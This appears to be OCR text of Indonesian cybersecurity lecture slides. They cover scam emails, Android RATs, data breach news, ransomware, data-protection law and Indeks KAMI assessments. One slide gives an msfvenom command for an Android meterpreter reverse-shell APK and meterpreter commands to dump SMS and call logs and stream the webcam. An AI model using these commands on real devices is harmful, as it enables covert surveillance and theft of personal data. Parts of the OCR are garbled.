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onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS Message 173 of 218 60%

From: Fatima Lawrence Kamara <fatimalaw2021@gmail.com>
Reply-To: mhizfatima@yahoo.com
CMTo: undisclosed-recipients:
Subject: I CAN TRUST YOU

.
2

Parts/Attachments:
1 0K 17 lines Text
(] echown otlines e
=3
5 Hello ,

[=fpear I have a business Proposal that will be of benefit to the both of us and I shall be
compensating you with percent at the final conclusion. I am writing to acquaint you of a
transaction and monetary transfer of ($5,500.000.00) Five Million Five Hundred Thousand

United States Dollars.I need a reliable partner to have custody of this fund and we can
invest on Real Estate which is at the low presently.
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Aug1 16:28

Message 216 of 218 ALL

onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS

P IAY R I AN ATARNATANNNAWAATA]

TADate: Sgitad3 il

To: "onno@indo.net.id" <onno@indo.net.id>

L 3Parts/Attachments:
1 OK 6 lines Text

2 Shown ~7 lines Text

'.!hﬁﬁﬂamu'alaikum pak prof, bapak minta tolong tidak, akun saya ke hack dengan modus
meminjamkan uang pak, akun saya namanya @diannrsf__, dan dia chat pakal akun teman saya
@ aisy. , minta tolong pulihkan akun saya, terima kasih pak, soalnya teman saya sudah
= ada yg tertipu dengan akun tersebut, minta tolong responnya, terima kasih pak,

EE wassalamu'alaikum

[ALL of message]
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onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS Message 170 of 218 40%

Date. [ A - | MDA nr faVal ialal ot Fa¥al

TVOT OC IZWNIagrnrcog MUT OURTTOCT UTTLoU L U L 0yria ot . ot

To: "onno@indo.net.id" <onno@indo.net.id>
Subject: pak onno tolong saya

U MParts/Attachments:

1.1 OK ~30 lines Text
. 1.2 Shown ~28 lines Text
2 OK 837 KB Image

3 OK 346 KB Image
| 4 OK 460 KB Image

5 OK 218 KB Image
=) 6 OK 431 KB Image
=

Eg assalamualaikum wr.wb. pak onno bisa tolong bantu saya ., sabtu kemarin 20 januari 2024 saya kena tipu

di telegram atas event mitra tokopedia senilal 52jt rupiah yang saya transfer dari akun
shopepay,dana,bank BCA, dan Bank Aladin. awalnya saya sama sekalil tidak menyadari bahwa saya ditipu saya
sadar sadar setelah maghrib tiba. saya sudah ke kantor polisi namun hasilnya nihil. katanya uang saya
udah gak bisa balik lagi. tolong saya pak itu uang tabungan saya satu" nya, jika bapak bisa bantu
mengembalikan uang saya fee nya berapapun saya kasih asalkan uang saya kembali & saya sampal ambil
pinjaman online juga untuk transfer ke pelaku saya ambil pinjol si shope pinjam senilail Rp. 11.250.000
yang sekarang dengan bunganya menjadi Rp. 12.500.000 sekian dan satu lagil di aplikasi kredit pintar
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ALPINE 2.26  MESSAGE TEXT  Folder: RETAS

hate: Fri, 19 Jan 2024 10:09:03 +0700

153 of 218 92%

Message

From: sya B e

Com>

Subject: Minta bantuan

Parts/Attachments:
1 OK ~4 1ines Text
2 Shown ~5 1lines Text

g Selamat siang bapa saya mau minta bantuan bapa.
coinDCX sebesar $72000 sekarang susah di ambil.
membantu saya. Saya sudah terlilit sama hutang.

Saya punya asset di
Saya harap bapa bisa
Sangat butuh bantuan

bapa\l
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Balas
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@s0ngoku965 -+ 3 tahun yang lalu

Assalamualaikum pak

Kalau mau melihat identitas penipu berdasarkan nomor telepon lewat kali linux

ada gak pak?

Teknik mendapatkan data
pribadi seperti eKTP, KK dll ..

Sebulan yang lalu kakak saya kena tipu sebesar 1jt, jadi saya...Baca selengkapnya
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Open Source Intelligent (OSINT)
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Remote Access Trojan (RAT)

steals cryptocurrency and banking credentials,
2FA codes, lock screen passcodes, captures
screenshots, calls log, sms log, send sms,
iInstall apps, run apps, stream webcam (video &
audio)
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+ android-rat Yr star

Here are 75 public repositories matching this topic... Improve this page
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msfvenom

msfvenom -p
android/meterpreter/reverse_tcp
Lhost=192.168.0.102 Llport=4444 >
Temp leRun2.apk



Msfconsole attack android

check_root

wlan_geolocate

dump_calllog

dump_sms

send_sms -d “nomor tujuan” -t “berita yang ingin dikirim”
send_sms -d 9599***847 -t hacked

webcam_list

webcam_shap 2

webcam_stream



Corporate Attack
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Alleged Data Breach at Universitas |
- PGRI Pontianak Exposes Sensitive
Information

The Five Families Group
Claims Sale of VPN Access
to Major Ecuadorian Bank

Threat Actor Offers
Unauthorized Access to
Emirates Investment Bank
for $10,000

Alleged Database Leak:
Over 2.9 Million Scrapped
HuntStand User Records
Reportedly Compromised
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B FalconFeedsioon ®:"@ x | 88 Alleged DataBreachat! x +

25 x.com/FalconFeedsiofstatus/1823411537106862234

& Post
W.\ FalconFeeds.io &
@ @FalconFeedsio
Data breach of Blora District Government

A member of BreachForums has posted about a significant data breach
involving Blora District Government. The compromised data includes
5,000 users Registration Number, ID card number, Name, Place, Date of
Birth, Gender, Email, etc.

#ndonesia
#Cyberattack #Databreach #Darkweb #InfoSec

Hidden Content
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Subscribe to Premium to write
your own longer posts

Write longer posts and apply text formatting
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< Post
W.\ FalconFeeds.io &
@ @FalconFeedsio
Data Breach Alert
A threat actor claims to be selling a database from Satu Data ASN
(satudataasn.bkn.go.id), containing the personal information of

4,759,218 Indonesian civil servants (PNS) and government employees
with work agreements (PPPK) across all provinces.

#Indonesia
#HCyberattack #Databreach #Darkweb #InfoSec

INDONESIA satudataasn.bkn.go.id 4.759.218 PERSONAL DATA PNS and PPPK ALL PROVINCE

% BKN @) 24

Badan Kepegawalan Negara

satudataasn.bkn.go id

11:35 AM - Aug 10, 2024 - 250.1K Views
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Subscribe to Premium to write
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Write longer posts and apply text formatting
such as bold and italic.
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45.9K posts
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pdn ransomware attack

Google

T Tempo.co English

Indonesia's Data Center Ransomware Attack: DPR Member
Suspects Maintenance Fund Misappropriation

Indonesian House of Representatives member was surprised that the Rp700 billion
maintenance fund did not make the data center PDN safe from...

1 month ago

JP The Jakarta Post

Govt refuses to pay $8 million after ransomware attack on
national data center

meta charset="utf-8">The government will not pay the US$8 million ransom demanded
by attackers responsible for the ransomware attack at two...

1 month ago

7

National Security Alert: Analyzing Ransomware Attacks and
Preventative Measures

Monash University

Recently, Indonesia was rocked by a significant ransomware attack that targeted the
National Data Center (PDN), demanding a ransom of USD 8...

1 month ago
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GO gle BSI ransomware attack X .!; Q
All Images Videos News Shopping Maps Books ¢ More Tools

# Bisnis.com

Begini Serangan Ransomware BSI Tahun Lalu, Mirip dengan
Penyebab PDN Down?

Bisnis.com, JAKARTA - Tahun lalu, akses transaksi PT Bank Syariah Indonesia Tbk.
(BRIS) alias BSI sempat terindikasi mendapatkan serangan...

1 month ago

@ Koran TEMPO
7 Fakta Dugaan Serangan Ransomware oleh LockBit ke BSI

Deretan fakta soal dugaan serangan ransomware oleh LockBit ke BSI. Dari data

nasabah dibocorkan ke dark web hingga jaminan BSI| soal keamanan...

17 May 2023

@ Kilat

Profil dan Karir Gemilang Achmad Syafii, Eks Dirut IT BSI
yang Dicopot Gegara Gagal Hadapi Serangan Ransomware
- Kilat

Profil dari sosok Achmad Syafii eks Dirut IT Bank Syariah Indonesia (BSI) akan diulas




Ransomware

* Encrypted Trojan - tidak bisa di deteksi

* Mitigasi: Backup & Al, upload filtering, enduser / client
literasi (Jangan kepo), client-to-client connection.

« Kondisi Korban
- Data tercopy ke attacker
- Data korban di enkripsi
- Attacker akan meminta uang / ransome



Cyber Security Management
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UU Nomor 27 Tahun 2022 PDP Perlindungan Data Pribadi.pdf 99.0%

(1)

(2)

(3)

NN LTUAIN TM'UJAINA

Pasal 67

Setiap Orang yang dengan sengaja dan melawan hukum
memperoleh atau mengumpulkan Data Pribadi yang
bukan miliknya dengan maksud untuk menguntungkan
diri sendiri atau orang lain yang dapat mengakibatkan
kerugian Subjek Data Pribadi sebagaimana dimaksud
dalam Pasal 65 ayat (1) dipidana dengan pidana penjara
paling lama S (lima) tahun dan/atau pidana denda
paling banyak Rp5.000.000.000,00 (lima miliar rupiah).

Setiap Orang yang dengan sengaja dan melawan hukum
mengungkapkan Data Pribadi yang bukan miliknya
sebagaimana dimaksud dalam Pasal 65 ayat (2) dipidana
dengan pidana penjara paling lama 4 (empat) tahun
dan/atau pidana denda paling banyak
Rp4.000.000.000,00 (empat miliar rupiah).

Setiap Orang yang dengan sengaja dan melawan hukum
menggunakan Data Pribadi yang bukan miliknya
sebagaimana dimaksud dalam Pasal 65 ayat (3) dipidana
dengan pidana penjara paling lama 5 (lima) tahun
dan/atau pidana denda paling banyak
Rp5.000.000.000,00 (lima miliar rupiah).
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(1)

(2)

(3)

(4)

Pasal 70

Dalam hal tindak pidana sebagaimana dimaksud
dalam Pasal 67 dan Pasal 68 dilakukan oleh Korporasi,
pidana dapat dijatuhkan kepada pengurus, pemegang
kendali, pemberi perintah, pemilik manfaat, dan/atau
Korporasi.

Pidana yang dapat dijatuhkan terhadap Korporasi
hanya pidana denda.

Pidana denda yang dijatuhkan kepada Korporasi
paling banyak 10 (sepuluh) kali dari maksimal pidana
denda yang diancamkan.

Selain dijatuhi pidana denda sebagaimana dimaksud
pada ayat (2), Korporasi dapat dijatuhi pidana

- tambahan berupa:

a. perampasan keuntungan dan/atau  harta
kekayaan yang diperoleh atau hasil dari tindak
pidana;

b. pembekuan seluruh atau sebagian usaha
Korporasi;

c. pelarangan permanen melakukan perbuatan

+tartarrtiie
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SIBER INSIDEN

“Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum
doloré eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.”

“Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullamcoe laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt
mollit anim id est laborum."Lorem ipsum delor sit amet, consecletur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad
minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea
commode. carisequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident,
suntin culpa qui officia deserunt mollit animid est laborum.”
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“Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod lempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
doler in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt
mollitanim id est laborum."
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Konsultasi dan Assessment Indeks KAMI

Perkembangan teknologi informasi dan komunikasi yang sangat pesat dan disrupsi pola bisnis di era siber yang kini terus terjadi secara
dinamis memunculkan risiko dan celah keamanan informasi. Digitalisasi proses kerja menjadikan keamanan informasi menjadi hal yang
berpengaruh pada keseluruhan proses bisnis sehingga sangat penting untuk menjadi perhatian utama.

Keterlibatan pihak ketiga dalam supply chain layanan perusahaan menimbulkan risiko baru. Layanan berbasis cloud memberikan peluang
efisiensi dan peningkatan kinerja yang sangat signifikan bagi perusahaan namun juga menimbulkan risiko baru terkait data yang berada pada

pengendalian pihak penyelenggara layanan. Beberapa aspek kebutuhan keamanan baru tersebut perlu dimitigasi agar bisnis dapat terus
berjalan dengan baik.

Indeks KAMI (Keamanan Informasi)
Responden:
Satuen Kerja
Depariamen
Tinghat Kelengkapan Penerapan Em
Alsmat 1 Sndar 15027001 seeual Kawaorl
Alama 2
KetaKode Pos Tala Kelok 2126 Tk Kematangan: 1V
Pengalolaan Risike © 72 Tk Kematangan: V| Il
Kerangka Kerla Keamanan Informasi = 150 Tk Kematangan: V| sid
(Koda Area) Nomar Talpon Pengelolaan Aset : 168 Tk Kematangan: Wl v
Leer TpeperIeman (eapcnien ot Teknologi dan Keamanan Informasi = 120 Tk Kematangan: IV
HHBBTTTT Pengamanan Keterlibatan Pihak Ketiga = 86%
Pengarranan Layanan Infrastruktur Aw @ 100%
Perlindungan Data Pribadi 5 100%
Tata Kelola
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Apakah pimpinan Instansi anda secara prinsip dan resmi bertanggungjawab terhadap pelaksanaan program
keamanan informasi (misal yang tercantum dalam ITSP), termasuk penetapan kebijakan terkait?

Tidak Dilakukan

63 or 122 |l |1 |Apakah Instansi anda memiliki fungsi atau bagian yang secara spesifik mempunyai tugas dan tanggungjawab - TidakDilskikan
mengelola keamanan informasi dan menjaga kepatuhannya? Dalam Parencanaan
-~ 23 | II'| 1 |Apakah pejabat/petugas pelaksana pengamanan informasi mempunyai wewenang yang sesuai untuk menerapkan .- Penerapan / Diterapkan Sebagian
dan menjamin kepatuhan program keamanan informasi? Diterapkan Secara Menyeluruh
24 |1l | 1 |Apakah penanggungjawab pelaksanaan pengamanan informasi diberikan alokasi sumber daya yang sesuai untuk ——
mengelola dan menjamin kepatuhan program keamanan informasi?
2.5 |1l | 1 |Apakah peran pelaksana pengamanan informasi yang mencakup semua keperluan dipetakan dengan lengkap, Tidak Dilakukan
- termasuk kebutuhan audit internal dan persyaratan segregasi kewenangan?
26 |1l |1 |Apakah Instansi anda sudah mendefinisikan persyaratan/standar kompetensi dan keahlian pelaksana pengelolaan Tidak Dilakukan
= keamanan informasi?
2.7 | II'| 1 |Apakah semua pelaksana pengamanan informasi di Instansi anda memiliki kompetensi dan keahlian yang Tidak Dilakukan
, memadai sesuai persyaratan/standar yang berlaku?
L 2.8 | Il [ 1 |Apakah instansi anda sudah menerapkan program sosialisasi dan peningkatan pemahaman untuk keamanan Tidak Dilakukan
informasi, termasuk kepentingan kepatuhannya bagi semua pihak yang terkait?
& 2.9 | Il | 2 |Apakah Instansi anda menerapkan program peningkatan kompetensi dan keahlian untuk pejabat dan petugas Tidak Dilakukan
E pelaksana pengelolaan keamanan informasi?
& 210 |1l [ 2 |Apakah instansi anda sudah mengintegrasikan keperluan/persyaratan keamanan informasi dalam proses kerja Tidak Dilakukan
yang ada?
Pengantar  Identitas Responden | (® | Kategori SE 1 Tats Kelols ™ 1l Risiko ™ v Kerangks Kerja ™ v Pengelolaan Aset VI Teknologi & Wi PDP Vil suplemen ™ Dashboard (% Catatan Perubahan
.’-’ ° ~ Formatted Display | | MatchCase (%

PageStyle_Pengantar

=1 Average: ; Sum: 0

300%
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Kesiapan Sertifikasi ISO27001 ISMS
(TK 3.5)

@

Rentang Tingkat Kematangan

65 Pemenuhan Kerangka

- Tidak Layak ....... Kerja Dasar

67 Rentang Kelengkapan Pengamanan

s i U . o i DR v ananiinnions I

68
69
70

71

72

e Pengantar Identitas Responden  |(®) IKategori SE B 1l Tata Kelola 2 1l Risiko B IV Kerangka Kerja % W Pengelolaan Aset @ VI Teknologi & v POP Vil Suplemen (B Dashboard (® Catatan Perubahan
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* Bagian lI: Tata Kelola Keamanan Informasi
, Bagian ini mengevaluasi kesiapan bentuk tata kelola keamanan informasi instansi/perusahaan beserta fungsi, tugas dan tanggung jawab
63 pengelola keamanan informasi, ~
. [Penilaian] Tidak Dilakukan; Dalam Perencanaan; Dalam Penerapan atau Diterapkan Sebagian; Status Skor| NOMOR DOKUMEN NAMAD
00y ngsi/Organisasi Keamanan Informasi
2-1 Il 1 |Apakah pimpinan instansi/perusahaan anda secara prinsip, dan resmi bertanggungjawah _
5 terhadap pelaksanaan program keamanan informasi (misal yang tercantum dalam ITSP), | Diterapkan Secara Menyeluruh | 3
termasuk penetapan kebijakan terkait?
2.2 |1l 1 |\Apakah instansi/perusahaan anda memiliki fungsi atau bagian yang secara spesifik _
- 6 mempunyai tugas dan tanggungjawab mengelola keamanan infarmasi dan menjaga Diterapkan Secara Menyeluruh | 3
!sgl;m& Ihaﬂmfa"
=/l 2.3 |1l|1 /Apakah pejabat/petugas pelaksana pengamanan informasi mempunyai wewenang yang Diterapkan Secara Menyeluruh | 3
- sesual untuk menerapkan dan menjamin kepatuhan program keamanan informasi?
2.4 (1|1 Apakah penanggungjawah pelaksanaan pengamanan informasi diberikan alokasi sumber
= K daya yang sesuai untuk mengelola dan menjamin kepatuhan program keamanan Diterapkan Secara Menyeluruh | 3
UIQ[m@ﬁP
2] 2.5 |11 Apakah peran pelaksana pengamanan informasi yang mencakup semua keperluan
o dipetakan dengan lengkap, termasuk kehutuhan audit internal dan persyaratan segregasi | Diterapkan Secara Menyeluruh | 3
B i
2.6 |1l |1 |Apakah instansi/perusahaan anda sudah mendefinisikan persyaratan/standar kompetensi ;
” dan keahlian pelaksana pengelolaan keamanan informasi? Diterapkan Secara Menyeluuh | 3
2.7 || 1 |Apakah semua pelaksana pengamanan informasi di instansi/perusahaan anda memiliki Diterapkan Secara Menyeluruh
" kompetensi dan keahlian yang memadai sesuai persyaratan/standar yang berlaku? ?
2.8 |Il]1)Apakah instansi/perusahaan anda sudah menerapkan program sosialisasi dan
L2 peningkatan pemahaman untuk keamanan informasi, termasuk kepentingan kepatuhannya| Diterapkan Secara Menyeluruh | 3
bagi semua pihak yang terkait?
2.9 11112 lApakah instansi/berusahaan anda menerankan nroaram neninakatan komnetensi dan — . —
Pengantar Identitas Responden  |(®) IKategori SE (@ 1l Tata Kelola @ 1l Risiko B IV Kerangka Kerja % W Pengelolaan Aset @ VI Teknologi @ v POP Vil Suplemen (% Dashboard (® Catatan Perubahan
.’" ° Find ~ Formatted Display | | Match Case (4]
A )

& Sheet4of13 PageStyle_|l Tata Kelola =T Average: ; Sum: 0 - O +  150%
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' Bagian lll: Pengelolaan Risiko Keamanan Informasi
- 2 |Bagian ini mengevaluasi kesiapan penerapan pengelolaan risiko keamanan informasi sebagai dasar penerapan sirategi keamanan inform
/' . [Penilaian] Tidak Dilakukan; Dalam Perencanaan; Dalam Penerapan atau Diterapkan Sebagian; °
" Diterapkan Secara Menyeluruh Status Skor| NOMOR DOKUMEN NAMAL
=" 3.1 |II|1]Apakah instansi/perusahaan anda mempunyai program kerja pengelolaan risiko keamanan| -
5 informasi yang terdokumentasi dan secara resmi digunakan? Diterapkan Secara Menyeluruh | 3
32 | II| 1 |Apakah instansi/perusahaan anda sudah menetapkan penanggung jawab manajemen
6 risiko dan eskalasi pelaporan status pengelolaan risiko keamanan informasi sampai ke Diterapkan Secara Menyeluruh | 3
. tingkat pimpinan?
[} 33 [11]1]apakah instansi/perusahaan anda mempunyai kerangka kerja pengelolaan risiko -
! keamanan informasi yang terdokumentasi dan secara resmi digunakan? Riierapkan Seears Menyelunh | 3
= 3.4 |1l |1|Apakah kerangka kerja pengelolaan risike ini mencakup definisi dan hubungan tingkat
= K klasifikasi aset informasi, tingkat ancaman, kemungkinan terjadinya ancaman tersebut dan | Diterapkan Secara Menyeluruh | 3
mvmmmmfmmv _ _
& 5 35 |l 1MVWIWMMWMMMMWHQ Diterapkan Secara Menyeluruh | 3
) 3.6 | I|1]Apakah instansi/perusahaan anda sudah mendefinisikan kepemilikan dan pihak pengelola
10 (custodian) aset informasi yang ada, termasuk aset utama/penting dan proses kerja utama | Diterapkan Secara Menyeluruh | 3
E yang menggunakan aset tersebut?
3.7 |11 i
» MWW%MQMMWH%MMMM@ terutama untuk Diterapkan Secara Menyeluruh | 3
3.8 |Il|1|Apakah dampak kerugian yang terkait dengan hilangnya/terganggunya fungsi aset utama ;
12 sudah ditetapkan sesuai dengan definisi yang ada? Diterapkan Secara Menyeluruh | 3
3.9 || 1|Apakah instansi/perusahaan anda sudah menjalankan inisiatif QUQI'!gﬁm.’!s@ii(ﬁu risiko
keamanan informasi secara terstruktur terhadap aset informasi yang untuk nantinya i
= digunakan dalam mengidentifikasi langkah mitigasi atau penanggulangan yang menjadi | 2 e aPkan Secara Menyelumih | 3
bagian dari program pengelolaan keamanan informasi)?

Pengantar Identitas Responden  |(®) I Kategori SE @ 1l Tata Kelola (® 11l Risiko B IV Kerangka Kerja ® v Pengelolaan Aset @ VI Teknologi v PoP ) Vil Ssuplemen ® Dashboard (™ Catatan Perubahan
o~ Find i
. .’ (<] d ~ Formatted Display [ | MatchCase (7]

& chesetSof 13 PageStvle Il Risiko T Averaage: 1° Sume: 1 — O %+  1509%
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